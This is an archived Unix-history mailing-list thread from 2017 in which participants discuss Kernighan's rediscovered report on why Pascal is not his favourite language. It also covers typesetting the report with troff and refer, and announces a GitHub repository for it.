From lm at mcvoy.com  Fri Sep  1 00:48:52 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 07:48:52 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170831011339.9465B124AEA5@mail.bitblocks.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
Message-ID: <20170831144852.GK11202@mcvoy.com>

I did a lot of programming in Turbo Pascal (because it was so fast
to compile) and I liked the language OK.

I was taught data structures in Pascal and later taught using Pascal
and it was a fine teaching language.  I agree with the comment that
it is easier to use right, more guard rails.

But as you grow up, you want to take off the guard rails once in a 
while and Pascal didn't let you do that.  C does that routinely,
which one could argue isn't that great, but it sure is handy.

On Wed, Aug 30, 2017 at 06:13:39PM -0700, Bakul Shah wrote:
> On Wed, 30 Aug 2017 06:34:54 MDT arnold at skeeve.com wrote:
> > Brian Kernighan was kind enough to find for me everyone's favorite
> > Computing Sceince Technical Report, CSTR 100, "Why Pascal is Not
> > My Favorite Programming Language".
> 
> If I may comment on the paper itself....
> 
> I used Pascal heavily for about 5-6 years and was also
> involved in implementing a variant of Pascal for a couple of
> years.  And I have used C since 1981.  I have to say I was
> quite happy using Pascal. Some of bwk's criticism (e.g.  re:
> sets) applies to pascal compilers, not the language. There is
> also some misunderstanding (e.g.
>     type apple = integer; orange = integer;
> This is renaming, not a new type).  The array problem got
> fixed somewhat in the 1985 standard, while arrays are not
> even first class objects in C.  Most implementations added
> separate compilation as well (1985 standard considers this an
> implementation issue but does allow you to declare external
> references).
> 
> Things I missed in C that were in Pascal:
> - enumerated types (type color = (red, blue, green))
> - subranges
> - nested functions (even if limited)
> - first class arrays (even if limited)
> - sets
> - lexical non-local goto
> - bounds checking
> - arrays that didn't start at 0.
> - function argument checking (K&R C)
> - tagged variant records
> 
> All in all, both languages are quite comparable.  Each
> language had their strong points and weak ones. Basically Pascal
> was easier to use /right/ and C more flexible. Pascal code is
> easier to read than C code (even today). It was harder to
> "cheat" in Pascal but the same is a useful feature of C for
> low level work.  To be frank the *main* thing that attracted
> me to C was its conciseness :-) If Unix was written in Pascal
> I would've happily continued using Pascal!
> 
> --bakul

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From ewayte at gmail.com  Fri Sep  1 01:26:50 2017
From: ewayte at gmail.com (Eric Wayte)
Date: Thu, 31 Aug 2017 11:26:50 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <20170831144852.GK11202@mcvoy.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
Message-ID: <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>

In the mid 80's when I took Programming II as part of my CS degree, I used
every Pascal compiler I could get my hands on:  Waterloo Pascal on VM/CMS
(mainframe), Turbo Pascal, UCSC p-System on an Apple II, and Kyan Pascal on
my Atari 800XL.

Fun times!

On Thu, Aug 31, 2017 at 10:48 AM, Larry McVoy <lm at mcvoy.com> wrote:

> I did a lot of programming in Turbo Pascal (because it was so fast
> to compile) and I liked the language OK.
>
> I was taught data structures in Pascal and later taught using Pascal
> and it was a fine teaching language.  I agree with the comment that
> it is easier to use right, more guard rails.
>
> But as you grow up, you want to take off the guard rails once in a
> while and Pascal didn't let you do that.  C does that routinely,
> which one could argue isn't that great, but it sure is handy.
>
> On Wed, Aug 30, 2017 at 06:13:39PM -0700, Bakul Shah wrote:
> > On Wed, 30 Aug 2017 06:34:54 MDT arnold at skeeve.com wrote:
> > > Brian Kernighan was kind enough to find for me everyone's favorite
> > > Computing Sceince Technical Report, CSTR 100, "Why Pascal is Not
> > > My Favorite Programming Language".
> >
> > If I may comment on the paper itself....
> >
> > I used Pascal heavily for about 5-6 years and was also
> > involved in implementing a variant of Pascal for a couple of
> > years.  And I have used C since 1981.  I have to say I was
> > quite happy using Pascal. Some of bwk's criticism (e.g.  re:
> > sets) applies to pascal compilers, not the language. There is
> > also some misunderstanding (e.g.
> >     type apple = integer; orange = integer;
> > This is renaming, not a new type).  The array problem got
> > fixed somewhat in the 1985 standard, while arrays are not
> > even first class objects in C.  Most implementations added
> > separate compilation as well (1985 standard considers this an
> > implementation issue but does allow you to declare external
> > references).
> >
> > Things I missed in C that were in Pascal:
> > - enumerated types (type color = (red, blue, green))
> > - subranges
> > - nested functions (even if limited)
> > - first class arrays (even if limited)
> > - sets
> > - lexical non-local goto
> > - bounds checking
> > - arrays that didn't start at 0.
> > - function argument checking (K&R C)
> > - tagged variant records
> >
> > All in all, both languages are quite comparable.  Each
> > language had their strong points and weak ones. Basically Pascal
> > was easier to use /right/ and C more flexible. Pascal code is
> > easier to read than C code (even today). It was harder to
> > "cheat" in Pascal but the same is a useful feature of C for
> > low level work.  To be frank the *main* thing that attracted
> > me to C was its conciseness :-) If Unix was written in Pascal
> > I would've happily continued using Pascal!
> >
> > --bakul
>
> --
> ---
> Larry McVoy                  lm at mcvoy.com
> http://www.mcvoy.com/lm
>



-- 
Eric Wayte
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/9d2a65bf/attachment.html>

From imp at bsdimp.com  Fri Sep  1 02:12:43 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 31 Aug 2017 10:12:43 -0600
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
Message-ID: <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>

I did a lot of Pascal programming back in the day on my DEC Rainbow with
Turbo Pascal. Also wrote a compiler for an 'extended subset' of the
language in my CS compiler's class, which was fun. But by then I'd
transitioned to C (once Turbo C was available for the IBM-PC, I hacked
together a TSR so I could run it on the not-too-compatible Rainbow). I
liked the low level access, but honestly, when I was a kid programming, I
liked that { was 4 characters shorter than BEGIN and } was 2 shorter than
END more than anything else...  Also, the generally mono-case of C (at the
time, this was before I discovered X11's bletcherous CamelCaseStyle) was
easier on the eyes....  But these days I'm more mellow about this stuff
since I know that the time to type in the code is tiny compared to the time
spent chasing down a bug because ++*++foo--; didn't work like you'd
expected making all the cleverness that went into it wasted...

Warner

On Thu, Aug 31, 2017 at 9:26 AM, Eric Wayte <ewayte at gmail.com> wrote:

> In the mid 80's when I took Programming II as part of my CS degree, I used
> every Pascal compiler I could get my hands on:  Waterloo Pascal on VM/CMS
> (mainframe), Turbo Pascal, UCSC p-System on an Apple II, and Kyan Pascal on
> my Atari 800XL.
>
> Fun times!
>
> On Thu, Aug 31, 2017 at 10:48 AM, Larry McVoy <lm at mcvoy.com> wrote:
>
>> I did a lot of programming in Turbo Pascal (because it was so fast
>> to compile) and I liked the language OK.
>>
>> I was taught data structures in Pascal and later taught using Pascal
>> and it was a fine teaching language.  I agree with the comment that
>> it is easier to use right, more guard rails.
>>
>> But as you grow up, you want to take off the guard rails once in a
>> while and Pascal didn't let you do that.  C does that routinely,
>> which one could argue isn't that great, but it sure is handy.
>>
>> On Wed, Aug 30, 2017 at 06:13:39PM -0700, Bakul Shah wrote:
>> > On Wed, 30 Aug 2017 06:34:54 MDT arnold at skeeve.com wrote:
>> > > Brian Kernighan was kind enough to find for me everyone's favorite
>> > > Computing Sceince Technical Report, CSTR 100, "Why Pascal is Not
>> > > My Favorite Programming Language".
>> >
>> > If I may comment on the paper itself....
>> >
>> > I used Pascal heavily for about 5-6 years and was also
>> > involved in implementing a variant of Pascal for a couple of
>> > years.  And I have used C since 1981.  I have to say I was
>> > quite happy using Pascal. Some of bwk's criticism (e.g.  re:
>> > sets) applies to pascal compilers, not the language. There is
>> > also some misunderstanding (e.g.
>> >     type apple = integer; orange = integer;
>> > This is renaming, not a new type).  The array problem got
>> > fixed somewhat in the 1985 standard, while arrays are not
>> > even first class objects in C.  Most implementations added
>> > separate compilation as well (1985 standard considers this an
>> > implementation issue but does allow you to declare external
>> > references).
>> >
>> > Things I missed in C that were in Pascal:
>> > - enumerated types (type color = (red, blue, green))
>> > - subranges
>> > - nested functions (even if limited)
>> > - first class arrays (even if limited)
>> > - sets
>> > - lexical non-local goto
>> > - bounds checking
>> > - arrays that didn't start at 0.
>> > - function argument checking (K&R C)
>> > - tagged variant records
>> >
>> > All in all, both languages are quite comparable.  Each
>> > language had their strong points and weak ones. Basically Pascal
>> > was easier to use /right/ and C more flexible. Pascal code is
>> > easier to read than C code (even today). It was harder to
>> > "cheat" in Pascal but the same is a useful feature of C for
>> > low level work.  To be frank the *main* thing that attracted
>> > me to C was its conciseness :-) If Unix was written in Pascal
>> > I would've happily continued using Pascal!
>> >
>> > --bakul
>>
>> --
>> ---
>> Larry McVoy                  lm at mcvoy.com
>> http://www.mcvoy.com/lm
>>
>
>
>
> --
> Eric Wayte
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/c079f85b/attachment.html>

From doug at cs.dartmouth.edu  Fri Sep  1 03:49:29 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Thu, 31 Aug 2017 13:49:29 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
Message-ID: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>

>  If Unix was written in Pascal I would've happily continued using Pascal!

Amusing in the context of Brian's piece, which essentially says if Unix
could have been written in Pascal, then Pascal wouldn't have been Pascal.

doug\


From lm at mcvoy.com  Fri Sep  1 03:51:20 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 10:51:20 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
Message-ID: <20170831175120.GM11202@mcvoy.com>

+1 on everything he said.  Especially the bug chasing.  As a leader,
a lot of what I've done has been to push back on "clever".

On Thu, Aug 31, 2017 at 10:12:43AM -0600, Warner Losh wrote:
> I did a lot of Pascal programming back in the day on my DEC Rainbow with
> Turbo Pascal. Also wrote a compiler for an 'extended subset' of the
> language in my CS compiler's class, which was fun. But by then I'd
> transitioned to C (once Turbo C was available for the IBM-PC, I hacked
> together a TSR so I could run it on the not-too-compatible Rainbow). I
> liked the low level access, but honestly, when I was a kid programming, I
> liked that { was 4 characters shorter than BEGIN and } was 2 shorter than
> END more than anything else...  Also, the generally mono-case of C (at the
> time, this was before I discovered X11's bletcherous CamelCaseStyle) was
> easier on the eyes....  But these days I'm more mellow about this stuff
> since I know that the time to type in the code is tiny compared to the time
> spent chasing down a bug because ++*++foo--; didn't work like you'd
> expected making all the cleverness that went into it wasted...
> 
> Warner
> 
> On Thu, Aug 31, 2017 at 9:26 AM, Eric Wayte <ewayte at gmail.com> wrote:
> 
> > In the mid 80's when I took Programming II as part of my CS degree, I used
> > every Pascal compiler I could get my hands on:  Waterloo Pascal on VM/CMS
> > (mainframe), Turbo Pascal, UCSC p-System on an Apple II, and Kyan Pascal on
> > my Atari 800XL.
> >
> > Fun times!
> >
> > On Thu, Aug 31, 2017 at 10:48 AM, Larry McVoy <lm at mcvoy.com> wrote:
> >
> >> I did a lot of programming in Turbo Pascal (because it was so fast
> >> to compile) and I liked the language OK.
> >>
> >> I was taught data structures in Pascal and later taught using Pascal
> >> and it was a fine teaching language.  I agree with the comment that
> >> it is easier to use right, more guard rails.
> >>
> >> But as you grow up, you want to take off the guard rails once in a
> >> while and Pascal didn't let you do that.  C does that routinely,
> >> which one could argue isn't that great, but it sure is handy.
> >>
> >> On Wed, Aug 30, 2017 at 06:13:39PM -0700, Bakul Shah wrote:
> >> > On Wed, 30 Aug 2017 06:34:54 MDT arnold at skeeve.com wrote:
> >> > > Brian Kernighan was kind enough to find for me everyone's favorite
> >> > > Computing Sceince Technical Report, CSTR 100, "Why Pascal is Not
> >> > > My Favorite Programming Language".
> >> >
> >> > If I may comment on the paper itself....
> >> >
> >> > I used Pascal heavily for about 5-6 years and was also
> >> > involved in implementing a variant of Pascal for a couple of
> >> > years.  And I have used C since 1981.  I have to say I was
> >> > quite happy using Pascal. Some of bwk's criticism (e.g.  re:
> >> > sets) applies to pascal compilers, not the language. There is
> >> > also some misunderstanding (e.g.
> >> >     type apple = integer; orange = integer;
> >> > This is renaming, not a new type).  The array problem got
> >> > fixed somewhat in the 1985 standard, while arrays are not
> >> > even first class objects in C.  Most implementations added
> >> > separate compilation as well (1985 standard considers this an
> >> > implementation issue but does allow you to declare external
> >> > references).
> >> >
> >> > Things I missed in C that were in Pascal:
> >> > - enumerated types (type color = (red, blue, green))
> >> > - subranges
> >> > - nested functions (even if limited)
> >> > - first class arrays (even if limited)
> >> > - sets
> >> > - lexical non-local goto
> >> > - bounds checking
> >> > - arrays that didn't start at 0.
> >> > - function argument checking (K&R C)
> >> > - tagged variant records
> >> >
> >> > All in all, both languages are quite comparable.  Each
> >> > language had their strong points and weak ones. Basically Pascal
> >> > was easier to use /right/ and C more flexible. Pascal code is
> >> > easier to read than C code (even today). It was harder to
> >> > "cheat" in Pascal but the same is a useful feature of C for
> >> > low level work.  To be frank the *main* thing that attracted
> >> > me to C was its conciseness :-) If Unix was written in Pascal
> >> > I would've happily continued using Pascal!
> >> >
> >> > --bakul
> >>
> >> --
> >> ---
> >> Larry McVoy                  lm at mcvoy.com
> >> http://www.mcvoy.com/lm
> >>
> >
> >
> >
> > --
> > Eric Wayte
> >

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From cym224 at gmail.com  Fri Sep  1 04:24:59 2017
From: cym224 at gmail.com (Nemo)
Date: Thu, 31 Aug 2017 14:24:59 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <201708311329.v7VDThNT012493@freefriends.org>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <7584bb4ccd27f08f443484b80152e4da@bl.org>
 <CAJfiPzx+=qFWOghCGkoQau7EkcbA7HETCJFQxbZUJ88qAc4_0Q@mail.gmail.com>
 <201708311329.v7VDThNT012493@freefriends.org>
Message-ID: <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>

On 31/08/2017, arnold at skeeve.com <arnold at skeeve.com> wrote:
> Nemo <cym224 at gmail.com> wrote:
>
>> I tried the following on  my Solaris 10 box:
>>
>> refer  cstr100 | troff -ms -Tpost | /usr/lib/lp/postscript/dpost
>> >cstr100.ps
>>
>> It composes fine until the first underline (.ul) but puts the
>> bibliography at the end with the error message "No files Ind"..
>> Without refer, it composes the entire document fine but without the
>> references.  No font errors.
>
> You should probably use refer -e to get the references at the end.

I tried that but still no references.  Strings showed me the path
/usr/lib/refer/papers/Ind in refe but no Ind exists in
/usr/lib/refer/papers.  Any comments on this from anyone?

(By the way, why all the ^M is the files?)

N.


>
> Arnold
>


From clemc at ccc.com  Fri Sep  1 04:40:07 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 31 Aug 2017 14:40:07 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <20170831175120.GM11202@mcvoy.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
Message-ID: <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>

Without reliving the Pascal/C war of the day, I have to admit that I too
loved Brian’s piece when we wrote it and love it still.   But you have to
understand the context.




>>  If Unix was written in Pascal I would've happily continued using Pascal!

>Amusing in the context of Brian's piece, which essentially says if Unix
>could have been written in Pascal, then Pascal wouldn't have been Pascal.

Doug amen.


There really are a few pieces of information that I think are lost from
history.    Pascal was and is still as difficult to match as a teaching
language.   Brian says exactly that in is piece – it is like a ‘Piper
Cub.’   I *still* use it for just that when I teach scouts, nieces, nephews
or anyone else that asks me, where to start.  Today’s "Free Pascal" system
is pretty hard to beat - runs on anything and "just works."



When BWK wrote that paper, other than MIT stubbornly hanging on to LISP,
all the major CS departments used Pascal as the language that they taught
freshman CS courses.   Cooper and Clancy’s “Oh Pascal” was pretty much *de
rigor* as the text (I still have a couple of editions from when I taught
with it).  I fear that many (?most?) of the traditional language types
hated C as ‘dirty’ if not ‘almost industrial.’   No one but an “OS-weenie”
would use it.



But the problem was that in those days, because Wirth had designed it for
complete small student programs, it was hard to write large real programs
(as Brian points).  So people fixed it and every fixed it differently.
Pascal was hardly standardized.   So it ended up being a terrible
production language.   In 1979, one weekend a couple of us at one of the
famous Tektronix/HP - McCoy/Hatfield parties that Steve Glaser hosted in
Oregon, a couple of us (TW Cook from HP, Steinhart from Tek, myself, *etc*.)
got into a contest to see if there were more incompatible flavors of Tek
Pascal than there were of HP Basic (I remember, we counted over 10 Tek
Pascals and 14 HP Basics when stopped).



And this was the root of the real problem.


You could not write “real” programs in it and really make them run on
actual systems.   Brian was writing that paper, after an exercise in
exactly that task – rewriting the Software Tools into Pascal.   That paper
was his lessons learned.



BTW:  I’ve always thought part of the reason C++ and Java got the jump they
did, was because the language type could say “C didn’t win.”   But I do
find it interesting that they now use Python as a teaching language, which
I think is almost ‘dirtier’ than C ever was.

On Thu, Aug 31, 2017 at 1:51 PM, Larry McVoy <lm at mcvoy.com> wrote:

> +1 on everything he said.  Especially the bug chasing.  As a leader,
> a lot of what I've done has been to push back on "clever".
>
> On Thu, Aug 31, 2017 at 10:12:43AM -0600, Warner Losh wrote:
> > I did a lot of Pascal programming back in the day on my DEC Rainbow with
> > Turbo Pascal. Also wrote a compiler for an 'extended subset' of the
> > language in my CS compiler's class, which was fun. But by then I'd
> > transitioned to C (once Turbo C was available for the IBM-PC, I hacked
> > together a TSR so I could run it on the not-too-compatible Rainbow). I
> > liked the low level access, but honestly, when I was a kid programming, I
> > liked that { was 4 characters shorter than BEGIN and } was 2 shorter than
> > END more than anything else...  Also, the generally mono-case of C (at
> the
> > time, this was before I discovered X11's bletcherous CamelCaseStyle) was
> > easier on the eyes....  But these days I'm more mellow about this stuff
> > since I know that the time to type in the code is tiny compared to the
> time
> > spent chasing down a bug because ++*++foo--; didn't work like you'd
> > expected making all the cleverness that went into it wasted...
> >
> > Warner
> >
> > On Thu, Aug 31, 2017 at 9:26 AM, Eric Wayte <ewayte at gmail.com> wrote:
> >
> > > In the mid 80's when I took Programming II as part of my CS degree, I
> used
> > > every Pascal compiler I could get my hands on:  Waterloo Pascal on
> VM/CMS
> > > (mainframe), Turbo Pascal, UCSC p-System on an Apple II, and Kyan
> Pascal on
> > > my Atari 800XL.
> > >
> > > Fun times!
> > >
> > > On Thu, Aug 31, 2017 at 10:48 AM, Larry McVoy <lm at mcvoy.com> wrote:
> > >
> > >> I did a lot of programming in Turbo Pascal (because it was so fast
> > >> to compile) and I liked the language OK.
> > >>
> > >> I was taught data structures in Pascal and later taught using Pascal
> > >> and it was a fine teaching language.  I agree with the comment that
> > >> it is easier to use right, more guard rails.
> > >>
> > >> But as you grow up, you want to take off the guard rails once in a
> > >> while and Pascal didn't let you do that.  C does that routinely,
> > >> which one could argue isn't that great, but it sure is handy.
> > >>
> > >> On Wed, Aug 30, 2017 at 06:13:39PM -0700, Bakul Shah wrote:
> > >> > On Wed, 30 Aug 2017 06:34:54 MDT arnold at skeeve.com wrote:
> > >> > > Brian Kernighan was kind enough to find for me everyone's favorite
> > >> > > Computing Sceince Technical Report, CSTR 100, "Why Pascal is Not
> > >> > > My Favorite Programming Language".
> > >> >
> > >> > If I may comment on the paper itself....
> > >> >
> > >> > I used Pascal heavily for about 5-6 years and was also
> > >> > involved in implementing a variant of Pascal for a couple of
> > >> > years.  And I have used C since 1981.  I have to say I was
> > >> > quite happy using Pascal. Some of bwk's criticism (e.g.  re:
> > >> > sets) applies to pascal compilers, not the language. There is
> > >> > also some misunderstanding (e.g.
> > >> >     type apple = integer; orange = integer;
> > >> > This is renaming, not a new type).  The array problem got
> > >> > fixed somewhat in the 1985 standard, while arrays are not
> > >> > even first class objects in C.  Most implementations added
> > >> > separate compilation as well (1985 standard considers this an
> > >> > implementation issue but does allow you to declare external
> > >> > references).
> > >> >
> > >> > Things I missed in C that were in Pascal:
> > >> > - enumerated types (type color = (red, blue, green))
> > >> > - subranges
> > >> > - nested functions (even if limited)
> > >> > - first class arrays (even if limited)
> > >> > - sets
> > >> > - lexical non-local goto
> > >> > - bounds checking
> > >> > - arrays that didn't start at 0.
> > >> > - function argument checking (K&R C)
> > >> > - tagged variant records
> > >> >
> > >> > All in all, both languages are quite comparable.  Each
> > >> > language had their strong points and weak ones. Basically Pascal
> > >> > was easier to use /right/ and C more flexible. Pascal code is
> > >> > easier to read than C code (even today). It was harder to
> > >> > "cheat" in Pascal but the same is a useful feature of C for
> > >> > low level work.  To be frank the *main* thing that attracted
> > >> > me to C was its conciseness :-) If Unix was written in Pascal
> > >> > I would've happily continued using Pascal!
> > >> >
> > >> > --bakul
> > >>
> > >> --
> > >> ---
> > >> Larry McVoy                  lm at mcvoy.com
> > >> http://www.mcvoy.com/lm
> > >>
> > >
> > >
> > >
> > > --
> > > Eric Wayte
> > >
>
> --
> ---
> Larry McVoy                  lm at mcvoy.com
> http://www.mcvoy.com/lm
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/ebc3da67/attachment.html>

From arnold at skeeve.com  Fri Sep  1 04:36:21 2017
From: arnold at skeeve.com (Arnold Robbins)
Date: Thu, 31 Aug 2017 21:36:21 +0300
Subject: [TUHS] CSTR 100 now on Github
Message-ID: <201708311836.v7VIaL1I006204@skeeve.com>

Hi All.

I have created a Git repo:

	https://github.com/arnoldrobbins/cstr100

I set it up with the original MS macros and a Makefile to create
a PDF.

THANKS again to Brian Kernighan for finding the document and sharing it.

Arnold


From cym224 at gmail.com  Fri Sep  1 05:20:30 2017
From: cym224 at gmail.com (Nemo)
Date: Thu, 31 Aug 2017 15:20:30 -0400
Subject: [TUHS] CSTR 100 now on Github
In-Reply-To: <201708311836.v7VIaL1I006204@skeeve.com>
References: <201708311836.v7VIaL1I006204@skeeve.com>
Message-ID: <CAJfiPzzVu=funpssouACDciAhJJi4M_HnA1aXbZnpgioSq7RpA@mail.gmail.com>

On 31/08/2017, Arnold Robbins <arnold at skeeve.com> wrote:
> Hi All.
>
> I have created a Git repo:
>
> 	https://github.com/arnoldrobbins/cstr100
>
> I set it up with the original MS macros and a Makefile to create
> a PDF.

Thank you, Arnold, but I still want to know how to compose it with
troff, not groff. #6-)

N.

>
> THANKS again to Brian Kernighan for finding the document and sharing it.
>
> Arnold
>


From steffen at sdaoden.eu  Fri Sep  1 05:25:32 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Thu, 31 Aug 2017 21:25:32 +0200
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
Message-ID: <20170831192532.urrIi%steffen@sdaoden.eu>

Clem Cole <clemc at ccc.com> wrote:
 |Without reliving the Pascal/C war of the day, I have to admit that \
 |I too loved Brian’s piece when we wrote it and love it still.   But \
 |you have to 
 |understand the context.   
 |
 |>>  If Unix was written in Pascal I would've happily continued using Pascal!
 |
 |>Amusing in the context of Brian's piece, which essentially says if Unix
 |>could have been written in Pascal, then Pascal wouldn't have been Pascal.
 |
 |Doug amen.
 |
 |There really are a few pieces of information that I think are lost \
 |from history.    Pascal was and is still as difficult to match as a \
 |teaching 
 |language.   Brian says exactly that in is piece – it is like a ‘Piper \
 |Cub.’   I still use it for just that when I teach scouts, nieces, nephews \
 |or 
 |anyone else that asks me, where to start.  Today’s "Free Pascal" system \
 |is pretty hard to beat - runs on anything and "just works."

So, please, let me disagree absolutely.  I had only experience of
some Microsoft Basic in the 80s before i had to (should) learn
some Pascal (i dropped that qualification), and i still hear
myself asking the teacher "What?  A language without goto?"  Even
with closures or inner functions and/or whatever may exist i think
it is a grace that the simplicity of goto: can also be used in
a higher level language.

Despite anything else, my brain also works that way.  It also did
not like sitting still in school at 10 o'clock in the morning or
in the afternoon, of course, but if it is like that?  That became
better over time, but it was not like that in school.  Now the
following is perl(1) which warns since some version on goto: into
a loop, but i would not want to teach young human beings such in
school, it is weird enough that people lseek(2) an O_APPEND
descriptor to SEEK_END because they became socialized with stdio,
in my humble opinion.

      my $ogoditisanewperl = 0;
      if(defined($nl = $self->begin_line)){
         $self->begin_line(undef);
         $self->seen_endl(1);
         $ogoditisanewperl = 1 #goto jumpin;
      }
      while($ogoditisanewperl || ($nl = readline $self->infh)){
         if(!$ogoditisanewperl){
            ++${$self->__lineno};
            $self->seen_endl($nl =~ s/(.*?)\s+$/$1/)
         }
         $ogoditisanewperl = 0; #jumpin:

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)

From toby at telegraphics.com.au  Fri Sep  1 05:47:28 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Thu, 31 Aug 2017 15:47:28 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
Message-ID: <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>

On 2017-08-31 2:40 PM, Clem Cole wrote:
> Without reliving the Pascal/C war of the day, I have to admit that I too
> loved Brian’s piece when we wrote it and love it still.   But you have
> to understand the context.   
> 
> 
> 
> 
>>>  If Unix was written in Pascal I would've happily continued using Pascal!
> 
>>Amusing in the context of Brian's piece, which essentially says if Unix
>>could have been written in Pascal, then Pascal wouldn't have been Pascal.
> 
> Doug amen.
> 
> 
> There really are a few pieces of information that I think are lost from
> history.    Pascal was and is still as difficult to match as a teaching
> language.   Brian says exactly that in is piece – it is like a ‘Piper
> Cub.’   I /still/ use it for just that when I teach scouts, nieces,
> nephews or anyone else that asks me, where to start.  Today’s "Free
> Pascal" system is pretty hard to beat - runs on anything and "just works."
> 
>  
> 
> When BWK wrote that paper, other than MIT stubbornly hanging on to LISP,
> all the major CS departments used Pascal as the language that they
> taught freshman CS courses.   Cooper and Clancy’s “Oh Pascal” was pretty
> much /de rigor/ as the text (I still have a couple of editions from when
> I taught with it).  I fear that many (?most?) of the traditional
> language types hated C as ‘dirty’ if not ‘almost industrial.’   No one
> but an “OS-weenie” would use it.
> 
>  
> 
> But the problem was that in those days, because Wirth had designed it
> for complete small student programs, it was hard to write large real
> programs (as Brian points).  So people fixed it and every fixed it
> differently.  Pascal was hardly standardized. ...
> 
>  
> 
> And this was the root of the real problem.
> 
> 
> You could not write “real” programs in it and really make them run on
> actual systems.   Brian was writing that paper, after an exercise in


Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
(using his literate programming toolset, but that did not extend the
language much).

I suppose Apple's Pascal and Object Pascal -- used for Lisa and
Macintosh applications and systems software -- comes under the "so
people fixed it" category?

--Toby


